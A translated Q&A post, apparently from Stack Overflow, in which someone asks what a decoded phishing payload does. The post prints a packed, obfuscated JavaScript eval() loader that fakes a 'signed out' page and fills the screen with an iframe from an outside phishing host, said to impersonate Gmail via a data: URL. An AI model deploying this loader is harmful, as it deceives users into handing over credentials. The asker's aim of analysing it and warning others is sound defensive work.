【发布时间】:2017-08-22 09:27:56
【问题描述】:
我的一个朋友被钓鱼使用了一种新技术,即在地址栏中编码 html 消息。解码它我发现了这个:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3.2.j="i h k l n";m{(g(){f 1=3.2.9(\'1\');1.8=\'7/x-4\';1.a=\'b 4\';1.c=\'\';2.p(\'B\')[0].C(1)}())}E(e){}3.2.z.y="<6 s=\\"r://q.t/u/w.v\\" o=\\"D: 0;A: 5%;d:5%\\"></6>";',41,41,'|link|document|window|icon|100|iframe|image|type|createElement|rel|shortcut|href|height||var|function|have|You|title|been|Signed|try|out|style|getElementsByTagName|rosettatranslation|http|src|top|ourclients|html|oreiwn||outerHTML|body|width|head|appendChild|border|catch'.split('|'),0,{}))
我只需要详细了解这段代码的作用。
【问题讨论】:
-
No on here 将分析这个缩小的代码。提供一个最小的工作示例。
-
代码在转换为 base64 并插入 data:text/html 时,在位置栏中为用户提供了一个 gmail 网络钓鱼页面,我正在尝试写一篇文章来警告人们这种新型网络钓鱼 texhnique 非常感谢您的回复
标签: javascript html email xss phishing